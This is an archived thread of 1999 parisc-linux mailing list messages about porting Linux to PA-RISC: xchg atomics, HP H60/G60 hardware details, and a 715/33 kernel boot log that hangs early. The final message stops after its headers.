X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:51 +0000 (UTC)
Cc: law@cygnus.com, Matthew.Wilcox@genedata.com, grundler@cup.hp.com,
        parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 28 12:45:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12455
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:45:47 -0600
Original-Received: (qmail 20717 invoked by uid 15267); 28 Jun 1999 18:46:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20663 invoked from network); 28 Jun 1999 18:45:48 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 18:45:48 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10ygHD-0005V7-00; Mon, 28 Jun 1999 19:37:07 +0100
In-Reply-To: <19990628201016.J30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 28, 99 08:10:16 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9641

> > Yes.  Major pain since the only useful atomic operations are load & clear
> > word/double as you noted.
> 
> and that's it.  That's only 31 uses where xchg couldn't be replaced
> with get_and_zero.  I suspect most of these are using this mechanism to
> walk a list without using a spinlock.  The slab uses are debug code only
> (so they aren't performance critical by any means).  I bet most of these
> uses could be removed without _too_ many problems.  I wonder what Linus'
> opinion is on this.

The sparc only has swap byte with 0xFF. They also have to use a small spinlock
for doing 32/64bit xchg ops. Thats ok. Xchg is only hopefully fast - since
on most machines xchg is a bus locker or pushes to ram the difference will
be minimal. 

The Alpha/Mips probably have it the nicest with the load locked/conditional
store.


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 21:00:05 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19990628210005.K30362@mencheca.ch.genedata.com>
References: <19990628201016.J30362@mencheca.ch.genedata.com> <E10ygHD-0005V7-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619672 12328 80.91.229.3 (22 Nov 2014 01:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:52 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>, law@cygnus.com,
        grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 28 13:00:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12577
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:59:59 -0600
Original-Received: (qmail 23603 invoked by uid 15267); 28 Jun 1999 19:00:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23570 invoked from network); 28 Jun 1999 19:00:10 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 19:00:10 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id VAA32006;
	Mon, 28 Jun 1999 21:00:07 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id VAA3174783;
	Mon, 28 Jun 1999 21:00:06 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10ygdR-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Mon, 28 Jun 1999 21:00:05 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10ygHD-0005V7-00@the-village.bc.nu>; from Alan Cox on Mon, Jun 28, 1999 at 07:37:05PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9642

On Mon, Jun 28, 1999 at 07:37:05PM +0100, Alan Cox wrote:
> > > Yes.  Major pain since the only useful atomic operations are load & clear
> > > word/double as you noted.
> > 
> > and that's it.  That's only 31 uses where xchg couldn't be replaced
> > with get_and_zero.  I suspect most of these are using this mechanism to
> > walk a list without using a spinlock.  The slab uses are debug code only
> > (so they aren't performance critical by any means).  I bet most of these
> > uses could be removed without _too_ many problems.  I wonder what Linus'
> > opinion is on this.
> 
> The sparc only has swap byte with 0xFF. They also have to use a small spinlock
> for doing 32/64bit xchg ops. Thats ok. Xchg is only hopefully fast - since
> on most machines xchg is a bus locker or pushes to ram the difference will
> be minimal. 

Okay.  Do you think we stand a chance of pushing a new call past linux
-- get_and_zero(*ptr), as this will make most of the calls efficient
on PA-RISC?  Or would a better idea be to check if the argument to be
swapped is zero; if it is use the special instructions; if not fall back
to a spinlock?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 20:12:08 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E10ygp7-0005Y3-00@the-village.bc.nu>
References: <19990628210005.K30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619672 12337 80.91.229.3 (22 Nov 2014 01:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:52 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Matthew.Wilcox@genedata.com, law@cygnus.com,
        grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 28 13:16:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA12798
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 13:16:49 -0600
Original-Received: (qmail 27007 invoked by uid 15267); 28 Jun 1999 19:17:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26986 invoked from network); 28 Jun 1999 19:16:55 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 19:16:55 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10ygp7-0005Y3-00; Mon, 28 Jun 1999 20:12:09 +0100
In-Reply-To: <19990628210005.K30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 28, 99 09:00:05 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9643

> Okay.  Do you think we stand a chance of pushing a new call past linux
> -- get_and_zero(*ptr), as this will make most of the calls efficient
> on PA-RISC?  Or would a better idea be to check if the argument to be
> swapped is zero; if it is use the special instructions; if not fall back
> to a spinlock?

For now I'd get it working with xchg() - the zero check isnt worth it. Get
it going the stupid way then worry


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davin Petersen <davinp@celltech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] H60
Date: Tue, 29 Jun 1999 16:51:27 -0700
Lines: 5
Approved: news@gmane.org
Message-ID: <BF0601275C6FD211B04900A0C9E9205241D103@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619672 12342 80.91.229.3 (22 Nov 2014 01:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:52 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: davinp@celltech.com  Tue Jun 29 17:55:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA15385
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 17:55:29 -0600
Original-Received: (qmail 28482 invoked by uid 15267); 29 Jun 1999 23:55:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28475 invoked from network); 29 Jun 1999 23:55:45 -0000
Original-Received: from athena.celltech.com (HELO athena.hq.celltech.com) (209.180.183.21)
  by mailserv2.iuinc.com with SMTP; 29 Jun 1999 23:55:45 -0000
Original-Received: by athena.hq.celltech.com with Internet Mail Service (5.5.1960.3)
	id <NDTG639W>; Tue, 29 Jun 1999 16:50:36 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Xref: news.gmane.org gmane.linux.ports.parisc:9644

I've looked through the available documentation available at
http://thepuffingroup.com/parisc/documentation.html and see nothing
related to the 9000/800 H60.  Am I wrong?  Would it be useful in
developing the HP9K kernel?


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 17:13:49 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <199906300013.RAA31617@bart.allegro.com>
References: <BF0601275C6FD211B04900A0C9E9205241D103@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619673 12347 80.91.229.3 (22 Nov 2014 01:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: davinp@celltech.com (Davin Petersen)
Original-X-From: sieler@bart.allegro.com  Tue Jun 29 18:13:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15559
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 18:13:46 -0600
Original-Received: (qmail 31097 invoked by uid 15267); 30 Jun 1999 00:14:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31090 invoked from network); 30 Jun 1999 00:14:02 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 00:14:02 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id RAA31617;
	Tue, 29 Jun 1999 17:13:50 -0700
In-Reply-To: <BF0601275C6FD211B04900A0C9E9205241D103@mailsrvr.hq.celltech.com> from "Davin Petersen" at Jun 29, 99 04:51:27 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9645

Re:
> related to the 9000/800 H60.  Am I wrong?  Would it be useful in
> developing the HP9K kernel?

It's the same as a G60 (96 MHz, PA7100, HP-PB, 2048 KB cache)
Also same as I60.

Of course, I don't know if either of those are in the docs :) 

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 20:43:39 -0400
Organization: The Puffin Group
Lines: 29
Approved: news@gmane.org
Message-ID: <3779683B.E5447116@thepuffingroup.com>
References: <199906300013.RAA31617@bart.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619673 12356 80.91.229.3 (22 Nov 2014 01:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:53 +0000 (UTC)
Cc: Davin Petersen <davinp@celltech.com>, parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: adevries@thepuffingroup.com  Tue Jun 29 18:34:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15766
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 18:34:01 -0600
Original-Received: (qmail 1821 invoked by uid 15267); 30 Jun 1999 00:34:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1814 invoked from network); 30 Jun 1999 00:34:16 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 00:34:16 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id UAA07672;
	Tue, 29 Jun 1999 20:43:46 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9646

Stan Sieler wrote:
> 
> Re:
> > related to the 9000/800 H60.  Am I wrong?  Would it be useful in
> > developing the HP9K kernel?
> 
> It's the same as a G60 (96 MHz, PA7100, HP-PB, 2048 KB cache)
> Also same as I60.
> 
> Of course, I don't know if either of those are in the docs :)

First, yes, the goal is to have it running on the G60/I60 and H60.

However, HP's only released documentation for a certain subset of the
machines available. 

The 7100 CPU shouldn't be too difficult, it's what's in a lot of 712s. 
What kind of peripheral devices are in the G/H/I60?

It'd be good if we could start a document that contained a list of the
internal chips we're finding in all these machines.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 17:53:34 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <199906300053.RAA27060@bart.allegro.com>
References: <3779683B.E5447116@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619673 12362 80.91.229.3 (22 Nov 2014 01:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: sieler@bart.allegro.com  Tue Jun 29 18:53:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15970
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 18:53:24 -0600
Original-Received: (qmail 4695 invoked by uid 15267); 30 Jun 1999 00:53:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4685 invoked from network); 30 Jun 1999 00:53:39 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 00:53:39 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id RAA27060;
	Tue, 29 Jun 1999 17:53:35 -0700
In-Reply-To: <3779683B.E5447116@thepuffingroup.com> from "Alex deVries" at Jun 29, 99 08:43:39 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9647

Re:

> The 7100 CPU shouldn't be too difficult, it's what's in a lot of 712s. 
> What kind of peripheral devices are in the G/H/I60?

SCSI disk, SCSI DDS, SCSI CDROM, and (less commonly) HPIB disk, and (rarely)
HPIB DDS, and (possible, but not seen) HPIB CDROM.

Various terminal muxes.
 
> It'd be good if we could start a document that contained a list of the
> internal chips we're finding in all these machines.
 
This may be of interest...a spreadsheet maintained by Michael Hensley
http://www.allegro.com/HPPA_Systems.xls

It has a number of HP 9000 (and HP 3000) models, with speed and chip info.

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33
Date: Wed, 30 Jun 1999 04:08:54 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <19990630040854.S30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619674 12368 80.91.229.3 (22 Nov 2014 01:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Tue Jun 29 20:08:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16418
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 20:08:53 -0600
Original-Received: (qmail 14713 invoked by uid 15267); 30 Jun 1999 02:09:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14703 invoked from network); 30 Jun 1999 02:09:03 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 02:09:03 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id EAA04459
	for <parisc-linux@thepuffingroup.com>; Wed, 30 Jun 1999 04:08:55 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id EAA3095387
	for <parisc-linux@thepuffingroup.com>; Wed, 30 Jun 1999 04:08:55 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10z9ny-00029qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Wed, 30 Jun 1999 04:08:54 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9648


I'd just like to let people know that I've built myself a kernel against
the current CVS tree and it boots on my 715/33 (using rbootd):

PARISC/Linux Bootstrap Version 0.4 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Mon Jun 28 16:30:57 METDST 1999 by willy@bmw

Reading parameters...done.

Loading SOM-Kernel...
Kernel loaded at 0x00010000, size=0x00062008
Data   loaded at 0x00073000, size=0x0001D000
BSS-Data      at 0x00090000, size=0x0000f530 (initialized with 0x00000000)

Transferring control to kernel. (At entry point 0x00010000)


The Kernel has started...
You are running a 33MHz PA-RISC-Machine with 56MB of RAM.
First free address was 0x0009f530 (This is the base of the stack).
Stacksize = 0x00040000.
First free User-Memory starts now at address 0x000df530 and ends at 0x03800000.

Linux version 2.2.1 (willy@bmw) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1
release)) #18
 Wed Jun 30 05:46:53 METDST 1999

at which point it hangs and I have to reset.  Excellent work.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33]
Date: Tue, 29 Jun 1999 22:31:09 -0400
Organization: The Puffin Group
Lines: 23
Approved: news@gmane.org
Message-ID: <3779816D.CF8B8F02@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619674 12370 80.91.229.3 (22 Nov 2014 01:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Jun 29 20:21:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16629
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 20:21:18 -0600
Original-Received: (qmail 16282 invoked by uid 15267); 30 Jun 1999 02:21:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16275 invoked from network); 30 Jun 1999 02:21:34 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 02:21:34 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id WAA07840
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Jun 1999 22:31:10 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9649


Matthew Wilcox wrote:

> Linux version 2.2.1 (willy@bmw) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1
> release)) #18
>  Wed Jun 30 05:46:53 METDST 1999
> 
> at which point it hangs and I have to reset.  Excellent work.

Well, not a bad start, but what worries me is that this boot sequence
should really go on a bit more.  I'm not quite sure where the problem
is, it might be with some PDC calls we do within setup_arch().

I'll upload a binary of the kernel that I know works on my A class.  I'd
appreciate it if people could email tests of this on different machines.


- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 23:20:08 -0600 (MDT)
Lines: 5
Approved: news@gmane.org
Message-ID: <199906300520.XAA03757@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619674 12373 80.91.229.3 (22 Nov 2014 01:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com, sieler@allegro.com
Original-X-From: mike@fast.cs.utah.edu  Tue Jun 29 23:19:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA16946
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 23:19:56 -0600
Original-Received: (qmail 6751 invoked by uid 15267); 30 Jun 1999 05:20:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6741 invoked from network); 30 Jun 1999 05:20:12 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 05:20:12 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id XAA03757;
	Tue, 29 Jun 1999 23:20:08 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9650

If the H seiries machines really have HP-PB, then it is going to take
some work.  The HP-PB that I am familiar with (from back in the hp832 days)
is a whole other bus architecture that isn't nearly as pleasent to work with
as the at on the 700 series machines.


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rich Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 22:51:55 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <008f01bec2bc$a91023c0$e38f4b0f@cup.hp.com>
References: <199906300013.RAA31617@bart.allegro.com> <3779683B.E5447116@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619675 12377 80.91.229.3 (22 Nov 2014 01:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:55 +0000 (UTC)
Cc: "Davin Petersen" <davinp@celltech.com>, <parisc-linux@thepuffingroup.com>
To: "Alex deVries" <adevries@thepuffingroup.com>,
        "Stan Sieler" <sieler@allegro.com>
Original-X-From: rrauenza@cup.hp.com  Tue Jun 29 23:51:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA17123
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Jun 1999 23:51:50 -0600
Original-Received: (qmail 10223 invoked by uid 15267); 30 Jun 1999 05:52:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10213 invoked from network); 30 Jun 1999 05:52:05 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 05:52:05 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA12839;
	Wed, 30 Jun 1999 01:51:35 -0400 (EDT)
Original-Received: from ce270154.cup.hp.com (ce270154.cup.hp.com [15.75.143.227]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA14076; Tue, 29 Jun 1999 22:51:59 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Xref: news.gmane.org gmane.linux.ports.parisc:9651


Take a look at  /usr/lib/sched.models on HP-UX -- it documents quite a few
models and PA-RISC versions.

Rich

----- Original Message -----
From: Alex deVries <adevries@thepuffingroup.com>
To: Stan Sieler <sieler@allegro.com>
Cc: Davin Petersen <davinp@celltech.com>; <parisc-linux@thepuffingroup.com>
Sent: Tuesday, June 29, 1999 5:43 PM
Subject: Re: [parisc-linux] H60



[...]
> It'd be good if we could start a document that contained a list of the
> internal chips we're finding in all these machines.
>
> - Alex



From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Wed, 30 Jun 1999 02:34:57 -0400
Organization: The Puffin Group
Lines: 18
Approved: news@gmane.org
Message-ID: <3779BA91.96869AC9@thepuffingroup.com>
